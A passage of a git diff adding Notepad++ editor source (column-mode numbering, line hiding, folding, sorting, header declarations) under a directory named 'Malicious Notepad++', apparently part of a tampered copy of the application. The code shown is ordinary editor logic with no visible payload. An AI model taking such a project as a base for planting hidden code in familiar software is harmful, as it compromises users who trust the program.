strLen, int number, int base, int nbChiffre, bool isZeroLeading) +{ + if (nbChiffre >= strLen) return NULL; + TCHAR f[64]; + TCHAR fStr[2] = TEXT("d"); + if (base == 16) + fStr[0] = 'X'; + else if (base == 8) + fStr[0] = 'o'; + else if (base == 2) + { + const unsigned int MASK_ULONG_BITFORT = 0x80000000; + int nbBits = sizeof(unsigned int) * 8; + int nbBit2Shift = (nbChiffre >= nbBits)?nbBits:(nbBits - nbChiffre); + unsigned long mask = MASK_ULONG_BITFORT >> nbBit2Shift; + int i = 0; + for (; mask > 0 ; ++i) + { + str[i] = (mask & number)?'1':'0'; + mask >>= 1; + } + str[i] = '\0'; + } + + if (!isZeroLeading) + { + if (base == 2) + { + TCHAR *j = str; + for ( ; *j != '\0' ; ++j) + if (*j == '1') + break; + lstrcpy(str, j); + } + else + { + // use sprintf or swprintf instead of wsprintf + // to make octal format work + generic_sprintf(f, TEXT("%%%s"), fStr); + generic_sprintf(str, f, number); + } + int i = lstrlen(str); + for ( ; i < nbChiffre ; ++i) + str[i] = ' '; + str[i] = '\0'; + } + else + { + if (base != 2) + { + // use sprintf or swprintf instead of wsprintf + // to make octal format work + generic_sprintf(f, TEXT("%%.%d%s"), nbChiffre, fStr); + generic_sprintf(str, f, number); + } + // else already done. + } + return str; +} + +ColumnModeInfos ScintillaEditView::getColumnModeSelectInfo() +{ + ColumnModeInfos columnModeInfos; + if (execute(SCI_GETSELECTIONS) > 1) // Multi-Selection || Column mode + { + int nbSel = static_cast(execute(SCI_GETSELECTIONS)); + + for (int i = 0 ; i < nbSel ; ++i) + { + int absPosSelStartPerLine = static_cast(execute(SCI_GETSELECTIONNANCHOR, i)); + int absPosSelEndPerLine = static_cast(execute(SCI_GETSELECTIONNCARET, i)); + int nbVirtualAnchorSpc = static_cast(execute(SCI_GETSELECTIONNANCHORVIRTUALSPACE, i)); + int nbVirtualCaretSpc = static_cast(execute(SCI_GETSELECTIONNCARETVIRTUALSPACE, i)); + + if (absPosSelStartPerLine == absPosSelEndPerLine && execute(SCI_SELECTIONISRECTANGLE)) + { + bool dir = nbVirtualAnchorSpc absPosSelEndPerLine) + columnModeInfos.push_back(ColumnModeInfo(absPosSelEndPerLine, absPosSelStartPerLine, i, R2L, nbVirtualAnchorSpc, nbVirtualCaretSpc)); + else + columnModeInfos.push_back(ColumnModeInfo(absPosSelStartPerLine, absPosSelEndPerLine, i, L2R, nbVirtualAnchorSpc, nbVirtualCaretSpc)); + } + } + return columnModeInfos; +} + +void ScintillaEditView::columnReplace(ColumnModeInfos & cmi, const TCHAR *str) +{ + int totalDiff = 0; + for (size_t i = 0, len = cmi.size(); i < len ; ++i) + { + if (cmi[i].isValid()) + { + int len2beReplace = cmi[i]._selRpos - cmi[i]._selLpos; + int diff = lstrlen(str) - len2beReplace; + + cmi[i]._selLpos += totalDiff; + cmi[i]._selRpos += totalDiff; + bool hasVirtualSpc = cmi[i]._nbVirtualAnchorSpc > 0; + + if (hasVirtualSpc) // if virtual space is present, then insert space + { + for (int j = 0, k = cmi[i]._selLpos; j < cmi[i]._nbVirtualCaretSpc ; ++j, ++k) + { + execute(SCI_INSERTTEXT, k, reinterpret_cast(" ")); + } + cmi[i]._selLpos += cmi[i]._nbVirtualAnchorSpc; + cmi[i]._selRpos += cmi[i]._nbVirtualCaretSpc; + } + + execute(SCI_SETTARGETRANGE, cmi[i]._selLpos, cmi[i]._selRpos); + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + UINT cp = static_cast(execute(SCI_GETCODEPAGE)); + const char *strA = wmc->wchar2char(str, cp); + execute(SCI_REPLACETARGET, static_cast(-1), reinterpret_cast(strA)); + + if (hasVirtualSpc) + { + totalDiff += cmi[i]._nbVirtualAnchorSpc + lstrlen(str); + + // Now there's no more virtual space + cmi[i]._nbVirtualAnchorSpc = 0; + cmi[i]._nbVirtualCaretSpc = 0; + } + else + { + totalDiff += diff; + } + cmi[i]._selRpos += diff; + } + } +} + +void ScintillaEditView::columnReplace(ColumnModeInfos & cmi, int initial, int incr, int repeat, UCHAR format) +{ + assert(repeat > 0); + + // If there is no column mode info available, no need to do anything + // If required a message can be shown to user, that select column properly or something similar + // It is just a double check as taken in callee method (in case this method is called from multiple places) + if (cmi.size() <= 0) + return; + // 0000 00 00 : Dec BASE_10 + // 0000 00 01 : Hex BASE_16 + // 0000 00 10 : Oct BASE_08 + // 0000 00 11 : Bin BASE_02 + + // 0000 01 00 : 0 leading + + //Defined in ScintillaEditView.h : + //const UCHAR MASK_FORMAT = 0x03; + //const UCHAR MASK_ZERO_LEADING = 0x04; + + UCHAR f = format & MASK_FORMAT; + bool isZeroLeading = (MASK_ZERO_LEADING & format) != 0; + + int base = 10; + if (f == BASE_16) + base = 16; + else if (f == BASE_08) + base = 8; + else if (f == BASE_02) + base = 2; + + const int stringSize = 512; + TCHAR str[stringSize]; + + // Compute the numbers to be placed at each column. + std::vector numbers; + { + int curNumber = initial; + const size_t kiMaxSize = cmi.size(); + while(numbers.size() < kiMaxSize) + { + for(int i = 0; i < repeat; i++) + { + numbers.push_back(curNumber); + if (numbers.size() >= kiMaxSize) + { + break; + } + } + curNumber += incr; + } + } + + assert(numbers.size()> 0); + + const int kibEnd = getNbDigits(*numbers.rbegin(), base); + const int kibInit = getNbDigits(initial, base); + const int kib = std::max(kibInit, kibEnd); + + int totalDiff = 0; + const size_t len = cmi.size(); + for (size_t i = 0 ; i < len ; i++) + { + if (cmi[i].isValid()) + { + const int len2beReplaced = cmi[i]._selRpos - cmi[i]._selLpos; + const int diff = kib - len2beReplaced; + + cmi[i]._selLpos += totalDiff; + cmi[i]._selRpos += totalDiff; + + int2str(str, stringSize, numbers.at(i), base, kib, isZeroLeading); + + const bool hasVirtualSpc = cmi[i]._nbVirtualAnchorSpc > 0; + if (hasVirtualSpc) // if virtual space is present, then insert space + { + for (int j = 0, k = cmi[i]._selLpos; j < cmi[i]._nbVirtualCaretSpc ; ++j, ++k) + { + execute(SCI_INSERTTEXT, k, reinterpret_cast(" ")); + } + cmi[i]._selLpos += cmi[i]._nbVirtualAnchorSpc; + cmi[i]._selRpos += cmi[i]._nbVirtualCaretSpc; + } + execute(SCI_SETTARGETRANGE, cmi[i]._selLpos, cmi[i]._selRpos); + + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + UINT cp = static_cast(execute(SCI_GETCODEPAGE)); + const char *strA = wmc->wchar2char(str, cp); + execute(SCI_REPLACETARGET, static_cast(-1), reinterpret_cast(strA)); + + if (hasVirtualSpc) + { + totalDiff += cmi[i]._nbVirtualAnchorSpc + lstrlen(str); + // Now there's no more virtual space + cmi[i]._nbVirtualAnchorSpc = 0; + cmi[i]._nbVirtualCaretSpc = 0; + } + else + { + totalDiff += diff; + } + cmi[i]._selRpos += diff; + } + } +} + + +void ScintillaEditView::foldChanged(int line, int levelNow, int levelPrev) +{ + if (levelNow & SC_FOLDLEVELHEADERFLAG) //line can be folded + { + if (!(levelPrev & SC_FOLDLEVELHEADERFLAG)) //but previously couldnt + { + // Adding a fold point. + execute(SCI_SETFOLDEXPANDED, line, 1); + expand(line, true, false, 0, levelPrev); + } + } + else if (levelPrev & SC_FOLDLEVELHEADERFLAG) + { + if (isFolded(line)) + { + // Removing the fold from one that has been contracted so should expand + // otherwise lines are left invisible with no way to make them visible + execute(SCI_SETFOLDEXPANDED, line, 1); + expand(line, true, false, 0, levelPrev); + } + } + else if (!(levelNow & SC_FOLDLEVELWHITEFLAG) && + ((levelPrev & SC_FOLDLEVELNUMBERMASK) > (levelNow & SC_FOLDLEVELNUMBERMASK))) + { + // See if should still be hidden + int parentLine = static_cast(execute(SCI_GETFOLDPARENT, line)); + if ((parentLine < 0) || !isFolded(parentLine && execute(SCI_GETLINEVISIBLE, parentLine))) + execute(SCI_SHOWLINES, line, line); + } +} + + +void ScintillaEditView::scrollPosToCenter(size_t pos) +{ + execute(SCI_GOTOPOS, pos); + int line = static_cast(execute(SCI_LINEFROMPOSITION, pos)); + + int firstVisibleDisplayLine = static_cast(execute(SCI_GETFIRSTVISIBLELINE)); + int firstVisibleDocLine = static_cast(execute(SCI_DOCLINEFROMVISIBLE, firstVisibleDisplayLine)); + int nbLine = static_cast(execute(SCI_LINESONSCREEN, firstVisibleDisplayLine)); + int lastVisibleDocLine = static_cast(execute(SCI_DOCLINEFROMVISIBLE, firstVisibleDisplayLine + nbLine)); + + int middleLine; + if (line - firstVisibleDocLine < lastVisibleDocLine - line) + middleLine = firstVisibleDocLine + nbLine/2; + else + middleLine = lastVisibleDocLine - nbLine/2; + int nbLines2scroll = line - middleLine; + scroll(0, nbLines2scroll); +} + +void ScintillaEditView::hideLines() +{ + //Folding can screw up hide lines badly if it unfolds a hidden section. + //Adding runMarkers(hide, foldstart) directly (folding on single document) can help + + //Special func on buffer. If markers are added, create notification with location of start, and hide bool set to true + int startLine = static_cast(execute(SCI_LINEFROMPOSITION, execute(SCI_GETSELECTIONSTART))); + int endLine = static_cast(execute(SCI_LINEFROMPOSITION, execute(SCI_GETSELECTIONEND))); + //perform range check: cannot hide very first and very last lines + //Offset them one off the edges, and then check if they are within the reasonable + int nbLines = static_cast(execute(SCI_GETLINECOUNT)); + if (nbLines < 3) + return; //cannot possibly hide anything + if (!startLine) + ++startLine; + if (endLine == (nbLines-1)) + --endLine; + + if (startLine > endLine) + return; //tried to hide line at edge + + //Hide the lines. We add marks on the outside of the hidden section and hide the lines + //execute(SCI_HIDELINES, startLine, endLine); + //Add markers + execute(SCI_MARKERADD, startLine-1, MARK_HIDELINESBEGIN); + execute(SCI_MARKERADD, startLine-1, MARK_HIDELINESUNDERLINE); + execute(SCI_MARKERADD, endLine+1, MARK_HIDELINESEND); + + //remove any markers in between + int scope = 0; + for(int i = startLine; i <= endLine; ++i) + { + auto state = execute(SCI_MARKERGET, i); + bool closePresent = ((state & (1 << MARK_HIDELINESEND)) != 0); //check close first, then open, since close closes scope + bool openPresent = ((state & (1 << MARK_HIDELINESBEGIN | 1 << MARK_HIDELINESUNDERLINE)) != 0); + if (closePresent) + { + execute(SCI_MARKERDELETE, i, MARK_HIDELINESEND); + if (scope > 0) scope--; + } + if (openPresent) { + execute(SCI_MARKERDELETE, i, MARK_HIDELINESBEGIN); + execute(SCI_MARKERDELETE, i, MARK_HIDELINESUNDERLINE); + ++scope; + } + } + if (scope != 0) + { //something went wrong + //Someone managed to make overlapping hidelines sections. + //We cant do anything since this isnt supposed to happen + } + + _currentBuffer->setHideLineChanged(true, startLine-1); +} + +bool ScintillaEditView::markerMarginClick(int lineNumber) +{ + auto state = execute(SCI_MARKERGET, lineNumber); + bool openPresent = ((state & (1 << MARK_HIDELINESBEGIN | 1 << MARK_HIDELINESUNDERLINE)) != 0); + bool closePresent = ((state & (1 << MARK_HIDELINESEND)) != 0); + + if (!openPresent && !closePresent) + return false; + + //Special func on buffer. First call show with location of opening marker. Then remove the marker manually + if (openPresent) + { + _currentBuffer->setHideLineChanged(false, lineNumber); + } + + if (closePresent) + { + openPresent = false; + for(lineNumber--; lineNumber >= 0 && !openPresent; lineNumber--) + { + state = execute(SCI_MARKERGET, lineNumber); + openPresent = ((state & (1 << MARK_HIDELINESBEGIN | 1 << MARK_HIDELINESUNDERLINE)) != 0); + } + + if (openPresent) + { + _currentBuffer->setHideLineChanged(false, lineNumber); + } + } + + return true; +} + +void ScintillaEditView::notifyMarkers(Buffer * buf, bool isHide, int location, bool del) { + if (buf != _currentBuffer) //if not visible buffer dont do a thing + return; + runMarkers(isHide, location, false, del); +} +//Run through full document. When switching in or opening folding +//hide is false only when user click on margin +void ScintillaEditView::runMarkers(bool doHide, int searchStart, bool endOfDoc, bool doDelete) +{ + //Removes markers if opening + /* + AllLines = (start,ENDOFDOCUMENT) + Hide: + Run through all lines. + Find open hiding marker: + set hiding start + Find closing: + if (hiding): + Hide lines between now and start + if (endOfDoc = false) + return + else + search for other hidden sections + + Show: + Run through all lines + Find open hiding marker + set last start + Find closing: + Show from last start. Stop. + Find closed folding header: + Show from last start to folding header + Skip to LASTCHILD + Set last start to lastchild + */ + int maxLines = static_cast(execute(SCI_GETLINECOUNT)); + if (doHide) + { + int startHiding = searchStart; + bool isInSection = false; + for (int i = searchStart; i < maxLines; ++i) + { + auto state = execute(SCI_MARKERGET, i); + if ( ((state & (1 << MARK_HIDELINESEND)) != 0) ) + { + if (isInSection) + { + execute(SCI_HIDELINES, startHiding, i-1); + if (!endOfDoc) + { + return; //done, only single section requested + } //otherwise keep going + } + isInSection = false; + } + if ( ((state & (1 << MARK_HIDELINESBEGIN | 1 << MARK_HIDELINESUNDERLINE)) != 0) ) + { + isInSection = true; + startHiding = i+1; + } + + } + } + else + { + int startShowing = searchStart; + bool isInSection = false; + for (int i = searchStart; i < maxLines; ++i) + { + auto state = execute(SCI_MARKERGET, i); + if ( ((state & (1 << MARK_HIDELINESEND)) != 0) ) + { + if (doDelete) + execute(SCI_MARKERDELETE, i, MARK_HIDELINESEND); + else if (isInSection) + { + if (startShowing >= i) + { //because of fold skipping, we passed the close tag. In that case we cant do anything + if (!endOfDoc) + { + return; + } + else + { + continue; + } + } + execute(SCI_SHOWLINES, startShowing, i-1); + if (!endOfDoc) + { + return; //done, only single section requested + } //otherwise keep going + isInSection = false; + } + } + if ( ((state & (1 << MARK_HIDELINESBEGIN | 1 << MARK_HIDELINESUNDERLINE)) != 0) ) + { + if (doDelete) + { + execute(SCI_MARKERDELETE, i, MARK_HIDELINESBEGIN); + execute(SCI_MARKERDELETE, i, MARK_HIDELINESUNDERLINE); + } + else + { + isInSection = true; + startShowing = i+1; + } + } + + auto levelLine = execute(SCI_GETFOLDLEVEL, i, 0); + if (levelLine & SC_FOLDLEVELHEADERFLAG) + { //fold section. Dont show lines if fold is closed + if (isInSection && !isFolded(i)) + { + execute(SCI_SHOWLINES, startShowing, i); + //startShowing = execute(SCI_GETLASTCHILD, i, (levelLine & SC_FOLDLEVELNUMBERMASK)); + } + } + } + } +} + + +void ScintillaEditView::setTabSettings(Lang *lang) +{ + if (lang && lang->_tabSize != -1 && lang->_tabSize != 0) + { + if (lang->_langID == L_JAVASCRIPT) + { + Lang *ljs = _pParameter->getLangFromID(L_JS); + execute(SCI_SETTABWIDTH, ljs->_tabSize); + execute(SCI_SETUSETABS, !ljs->_isTabReplacedBySpace); + return; + } + execute(SCI_SETTABWIDTH, lang->_tabSize); + execute(SCI_SETUSETABS, !lang->_isTabReplacedBySpace); + } + else + { + const NppGUI & nppgui = _pParameter->getNppGUI(); + execute(SCI_SETTABWIDTH, nppgui._tabSize); + execute(SCI_SETUSETABS, !nppgui._tabReplacedBySpace); + } +} + +void ScintillaEditView::insertNewLineAboveCurrentLine() +{ + generic_string newline = getEOLString(); + const auto current_line = getCurrentLineNumber(); + if(current_line == 0) + { + // Special handling if caret is at first line. + insertGenericTextFrom(0, newline.c_str()); + } + else + { + const auto eol_length = newline.length(); + const auto position = static_cast(execute(SCI_POSITIONFROMLINE, current_line)) - eol_length; + insertGenericTextFrom(position, newline.c_str()); + } + execute(SCI_SETEMPTYSELECTION, execute(SCI_POSITIONFROMLINE, current_line)); +} + + +void ScintillaEditView::insertNewLineBelowCurrentLine() +{ + generic_string newline = getEOLString(); + const auto line_count = static_cast(execute(SCI_GETLINECOUNT)); + const auto current_line = getCurrentLineNumber(); + if(current_line == line_count - 1) + { + // Special handling if caret is at last line. + appandGenericText(newline.c_str()); + } + else + { + const auto eol_length = newline.length(); + const auto position = eol_length + execute(SCI_GETLINEENDPOSITION, current_line); + insertGenericTextFrom(position, newline.c_str()); + } + execute(SCI_SETEMPTYSELECTION, execute(SCI_POSITIONFROMLINE, current_line + 1)); +} + +void ScintillaEditView::sortLines(size_t fromLine, size_t toLine, ISorter *pSort) +{ + if (fromLine >= toLine) + { + return; + } + + const auto startPos = execute(SCI_POSITIONFROMLINE, fromLine); + const auto endPos = execute(SCI_POSITIONFROMLINE, toLine) + execute(SCI_LINELENGTH, toLine); + const generic_string text = getGenericTextAsString(startPos, endPos); + std::vector splitText = stringSplit(text, getEOLString()); + const size_t lineCount = execute(SCI_GETLINECOUNT); + const bool sortEntireDocument = toLine == lineCount - 1; + if (!sortEntireDocument) + { + if (splitText.rbegin()->empty()) + { + splitText.pop_back(); + } + } + assert(toLine - fromLine + 1 == splitText.size()); + const std::vector sortedText = pSort->sort(splitText); + const generic_string joined = stringJoin(sortedText, getEOLString()); + if (sortEntireDocument) + { + assert(joined.length() == text.length()); + replaceTarget(joined.c_str(), int(startPos), int(endPos)); + } + else + { + assert(joined.length() + getEOLString().length() == text.length()); + replaceTarget((joined + getEOLString()).c_str(), int(startPos), int(endPos)); + } +} + +bool ScintillaEditView::isTextDirectionRTL() const +{ + long exStyle = static_cast(::GetWindowLongPtr(_hSelf, GWL_EXSTYLE)); + return (exStyle & WS_EX_LAYOUTRTL) != 0; +} + +void ScintillaEditView::changeTextDirection(bool isRTL) +{ + long exStyle = static_cast(::GetWindowLongPtr(_hSelf, GWL_EXSTYLE)); + exStyle = isRTL ? exStyle | WS_EX_LAYOUTRTL : exStyle&(~WS_EX_LAYOUTRTL); + ::SetWindowLongPtr(_hSelf, GWL_EXSTYLE, exStyle); +} + +generic_string ScintillaEditView::getEOLString() +{ + const int eol_mode = int(execute(SCI_GETEOLMODE)); + if (eol_mode == SC_EOL_CRLF) + { + return TEXT("\r\n"); + } + else if (eol_mode == SC_EOL_LF) + { + return TEXT("\n"); + } + else + { + return TEXT("\r"); + } +} + +void ScintillaEditView::setBorderEdge(bool doWithBorderEdge) +{ + long exStyle = static_cast(::GetWindowLongPtr(_hSelf, GWL_EXSTYLE)); + + if (doWithBorderEdge) + exStyle |= WS_EX_CLIENTEDGE; + else + exStyle &= ~WS_EX_CLIENTEDGE; + + ::SetWindowLongPtr(_hSelf, GWL_EXSTYLE, exStyle); + ::SetWindowPos(_hSelf, NULL, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER | SWP_FRAMECHANGED); +} + +void ScintillaEditView::getFoldColor(COLORREF& fgColor, COLORREF& bgColor, COLORREF& activeFgColor) +{ + StyleArray & stylers = _pParameter->getMiscStylerArray(); + + int i = stylers.getStylerIndexByName(TEXT("Fold")); + if (i != -1) + { + Style & style = stylers.getStyler(i); + fgColor = style._bgColor; + bgColor = style._fgColor; + } + + i = stylers.getStylerIndexByName(TEXT("Fold active")); + if (i != -1) + { + Style & style = stylers.getStyler(i); + activeFgColor = style._fgColor; + } +} diff --git a/Malicious Notepad++/src/ScitillaComponent/ScintillaEditView.h b/Malicious Notepad++/src/ScitillaComponent/ScintillaEditView.h new file mode 100644 index 0000000..b397aca --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/ScintillaEditView.h @@ -0,0 +1,1037 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + + +#include "Scintilla.h" +#include "ScintillaRef.h" +#include "SciLexer.h" +#include "Buffer.h" +#include "colors.h" +#include "UserDefineDialog.h" +#include "rgba_icons.h" + + +#ifndef WM_MOUSEWHEEL +#define WM_MOUSEWHEEL 0x020A +#endif //WM_MOUSEWHEEL + +#ifndef WM_MOUSEHWHEEL +#define WM_MOUSEHWHEEL 0x020E +#endif //WM_MOUSEHWHEEL + +#ifndef WM_APPCOMMAND +#define WM_APPCOMMAND 0x0319 +#define APPCOMMAND_BROWSER_BACKWARD 1 +#define APPCOMMAND_BROWSER_FORWARD 2 +#define FAPPCOMMAND_MASK 0xF000 +#define GET_APPCOMMAND_LPARAM(lParam) ((short)(HIWORD(lParam) & ~FAPPCOMMAND_MASK)) +#endif //WM_APPCOMMAND + +class NppParameters; + +#define NB_WORD_LIST 4 +#define WORD_LIST_LEN 256 + +typedef sptr_t(*SCINTILLA_FUNC) (void *, unsigned int, uptr_t, sptr_t); +typedef void * SCINTILLA_PTR; + +#define WM_DOCK_USERDEFINE_DLG (SCINTILLA_USER + 1) +#define WM_UNDOCK_USERDEFINE_DLG (SCINTILLA_USER + 2) +#define WM_CLOSE_USERDEFINE_DLG (SCINTILLA_USER + 3) +#define WM_REMOVE_USERLANG (SCINTILLA_USER + 4) +#define WM_RENAME_USERLANG (SCINTILLA_USER + 5) +#define WM_REPLACEALL_INOPENEDDOC (SCINTILLA_USER + 6) +#define WM_FINDALL_INOPENEDDOC (SCINTILLA_USER + 7) +#define WM_DOOPEN (SCINTILLA_USER + 8) +#define WM_FINDINFILES (SCINTILLA_USER + 9) +#define WM_REPLACEINFILES (SCINTILLA_USER + 10) +#define WM_FINDALL_INCURRENTDOC (SCINTILLA_USER + 11) +#define WM_FRSAVE_INT (SCINTILLA_USER + 12) +#define WM_FRSAVE_STR (SCINTILLA_USER + 13) +#define WM_FINDALL_INCURRENTFINDER (SCINTILLA_USER + 14) + +const int NB_FOLDER_STATE = 7; + +// Codepage +const int CP_CHINESE_TRADITIONAL = 950; +const int CP_CHINESE_SIMPLIFIED = 936; +const int CP_JAPANESE = 932; +const int CP_KOREAN = 949; +const int CP_GREEK = 1253; + +//wordList +#define LIST_NONE 0 +#define LIST_0 1 +#define LIST_1 2 +#define LIST_2 4 +#define LIST_3 8 +#define LIST_4 16 +#define LIST_5 32 +#define LIST_6 64 + +const bool fold_uncollapse = true; +const bool fold_collapse = false; + +enum TextCase : UCHAR +{ + UPPERCASE, + LOWERCASE, + TITLECASE_FORCE, + TITLECASE_BLEND, + SENTENCECASE_FORCE, + SENTENCECASE_BLEND, + INVERTCASE, + RANDOMCASE +}; + +const UCHAR MASK_FORMAT = 0x03; +const UCHAR MASK_ZERO_LEADING = 0x04; +const UCHAR BASE_10 = 0x00; // Dec +const UCHAR BASE_16 = 0x01; // Hex +const UCHAR BASE_08 = 0x02; // Oct +const UCHAR BASE_02 = 0x03; // Bin + + +const int MARK_BOOKMARK = 24; +const int MARK_HIDELINESBEGIN = 23; +const int MARK_HIDELINESEND = 22; +const int MARK_HIDELINESUNDERLINE = 21; +//const int MARK_LINEMODIFIEDUNSAVED = 20; +//const int MARK_LINEMODIFIEDSAVED = 19; +// 24 - 16 reserved for Notepad++ internal used +// 15 - 0 are free to use for plugins + + +int getNbDigits(int aNum, int base); +HMODULE loadSciLexerDll(); + +TCHAR * int2str(TCHAR *str, int strLen, int number, int base, int nbChiffre, bool isZeroLeading); + +typedef LRESULT (WINAPI *CallWindowProcFunc) (WNDPROC,HWND,UINT,WPARAM,LPARAM); + +const bool L2R = true; +const bool R2L = false; + +struct ColumnModeInfo { + int _selLpos; + int _selRpos; + int _order; // 0 based index + bool _direction; // L2R or R2L + int _nbVirtualCaretSpc; + int _nbVirtualAnchorSpc; + + ColumnModeInfo() : _selLpos(0), _selRpos(0), _order(-1), _direction(L2R), _nbVirtualAnchorSpc(0), _nbVirtualCaretSpc(0){}; + ColumnModeInfo(int lPos, int rPos, int order, bool dir = L2R, int vAnchorNbSpc = 0, int vCaretNbSpc = 0) + : _selLpos(lPos), _selRpos(rPos), _order(order), _direction(dir), _nbVirtualAnchorSpc(vAnchorNbSpc), _nbVirtualCaretSpc(vCaretNbSpc){}; + + bool isValid() const { + return (_order >= 0 && _selLpos >= 0 && _selRpos >= 0 && _selLpos <= _selRpos); + }; +}; + +// +// SortClass for vector +// sort in _order : increased order +struct SortInSelectOrder { + bool operator() (ColumnModeInfo & l, ColumnModeInfo & r) { + return (l._order < r._order); + } +}; + +// +// SortClass for vector +// sort in _selLpos : increased order +struct SortInPositionOrder { + bool operator() (ColumnModeInfo & l, ColumnModeInfo & r) { + return (l._selLpos < r._selLpos); + } +}; + +typedef std::vector ColumnModeInfos; + +struct LanguageName { + const TCHAR * lexerName; + const TCHAR * shortName; + const TCHAR * longName; + LangType LangID; + int lexerID; +}; + +class ISorter; + +class ScintillaEditView : public Window +{ +friend class Finder; +public: + ScintillaEditView(): Window() { + ++_refCount; + }; + + virtual ~ScintillaEditView() + { + --_refCount; + + if ((!_refCount)&&(_hLib)) + { + ::FreeLibrary(_hLib); + + for (BufferStyleMap::iterator it(_hotspotStyles.begin()); it != _hotspotStyles.end(); ++it ) + { + for (StyleMap::iterator it2(it->second->begin()) ; it2 != it->second->end() ; ++it2) + { + if (it2->second._fontName != NULL) + delete [] it2->second._fontName; + } + delete it->second; + } + } + }; + + virtual void destroy() + { + ::DestroyWindow(_hSelf); + _hSelf = NULL; + }; + + virtual void init(HINSTANCE hInst, HWND hPere); + + LRESULT execute(UINT Msg, WPARAM wParam=0, LPARAM lParam=0) const { + return _pScintillaFunc(_pScintillaPtr, Msg, wParam, lParam); + }; + + void activateBuffer(BufferID buffer); + + void getCurrentFoldStates(std::vector & lineStateVector); + void syncFoldStateWith(const std::vector & lineStateVectorNew); + + void getText(char *dest, size_t start, size_t end) const; + void getGenericText(TCHAR *dest, size_t destlen, size_t start, size_t end) const; + void getGenericText(TCHAR *dest, size_t deslen, int start, int end, int *mstart, int *mend) const; + generic_string getGenericTextAsString(size_t start, size_t end) const; + void insertGenericTextFrom(size_t position, const TCHAR *text2insert) const; + void replaceSelWith(const char * replaceText); + + int getSelectedTextCount() { + CharacterRange range = getSelection(); + return (range.cpMax - range.cpMin); + }; + + void getVisibleStartAndEndPosition(int * startPos, int * endPos); + char * getWordFromRange(char * txt, int size, int pos1, int pos2); + char * getSelectedText(char * txt, int size, bool expand = true); + char * getWordOnCaretPos(char * txt, int size); + TCHAR * getGenericWordOnCaretPos(TCHAR * txt, int size); + TCHAR * getGenericSelectedText(TCHAR * txt, int size, bool expand = true); + int searchInTarget(const TCHAR * Text2Find, size_t lenOfText2Find, size_t fromPos, size_t toPos) const; + void appandGenericText(const TCHAR * text2Append) const; + void addGenericText(const TCHAR * text2Append) const; + void addGenericText(const TCHAR * text2Append, long *mstart, long *mend) const; + int replaceTarget(const TCHAR * str2replace, int fromTargetPos = -1, int toTargetPos = -1) const; + int replaceTargetRegExMode(const TCHAR * re, int fromTargetPos = -1, int toTargetPos = -1) const; + void showAutoComletion(size_t lenEntered, const TCHAR * list); + void showCallTip(int startPos, const TCHAR * def); + generic_string getLine(size_t lineNumber); + void getLine(size_t lineNumber, TCHAR * line, int lineBufferLen); + void addText(size_t length, const char *buf); + + void insertNewLineAboveCurrentLine(); + void insertNewLineBelowCurrentLine(); + + void saveCurrentPos(); + void restoreCurrentPos(); + + void beginOrEndSelect(); + bool beginEndSelectedIsStarted() const { + return _beginSelectPosition != -1; + }; + + int getCurrentDocLen() const { + return int(execute(SCI_GETLENGTH)); + }; + + CharacterRange getSelection() const { + CharacterRange crange; + crange.cpMin = long(execute(SCI_GETSELECTIONSTART)); + crange.cpMax = long(execute(SCI_GETSELECTIONEND)); + return crange; + }; + + void getWordToCurrentPos(TCHAR * str, int strLen) const { + auto caretPos = execute(SCI_GETCURRENTPOS); + auto startPos = execute(SCI_WORDSTARTPOSITION, caretPos, true); + + str[0] = '\0'; + if ((caretPos - startPos) < strLen) + getGenericText(str, strLen, startPos, caretPos); + }; + + void doUserDefineDlg(bool willBeShown = true, bool isRTL = false) { + _userDefineDlg.doDialog(willBeShown, isRTL); + }; + + static UserDefineDialog * getUserDefineDlg() {return &_userDefineDlg;}; + + void setCaretColorWidth(int color, int width = 1) const { + execute(SCI_SETCARETFORE, color); + execute(SCI_SETCARETWIDTH, width); + }; + + void beSwitched() { + _userDefineDlg.setScintilla(this); + }; + + //Marge member and method + static const int _SC_MARGE_LINENUMBER; + static const int _SC_MARGE_SYBOLE; + static const int _SC_MARGE_FOLDER; + //static const int _SC_MARGE_MODIFMARKER; + + void showMargin(int whichMarge, bool willBeShowed = true) { + if (whichMarge == _SC_MARGE_LINENUMBER) + showLineNumbersMargin(willBeShowed); + else + { + int width = 3; + if (whichMarge == _SC_MARGE_SYBOLE) + width = NppParameters::getInstance()->_dpiManager.scaleX(100) >= 150 ? 20 : 16; + else if (whichMarge == _SC_MARGE_FOLDER) + width = NppParameters::getInstance()->_dpiManager.scaleX(100) >= 150 ? 18 : 14; + execute(SCI_SETMARGINWIDTHN, whichMarge, willBeShowed ? width : 0); + } + }; + + bool hasMarginShowed(int witchMarge) { + return (execute(SCI_GETMARGINWIDTHN, witchMarge, 0) != 0); + }; + + void updateBeginEndSelectPosition(const bool is_insert, const int position, const int length); + void marginClick(int position, int modifiers); + + void setMakerStyle(folderStyle style) { + bool display; + if (style == FOLDER_STYLE_NONE) + { + style = FOLDER_STYLE_BOX; + display = false; + } + else + { + display = true; + } + + COLORREF foldfgColor = white, foldbgColor = grey, activeFoldFgColor = red; + getFoldColor(foldfgColor, foldbgColor, activeFoldFgColor); + + for (int i = 0 ; i < NB_FOLDER_STATE ; ++i) + defineMarker(_markersArray[FOLDER_TYPE][i], _markersArray[style][i], foldfgColor, foldbgColor, activeFoldFgColor); + showMargin(ScintillaEditView::_SC_MARGE_FOLDER, display); + }; + + + void setWrapMode(lineWrapMethod meth) { + int mode = (meth == 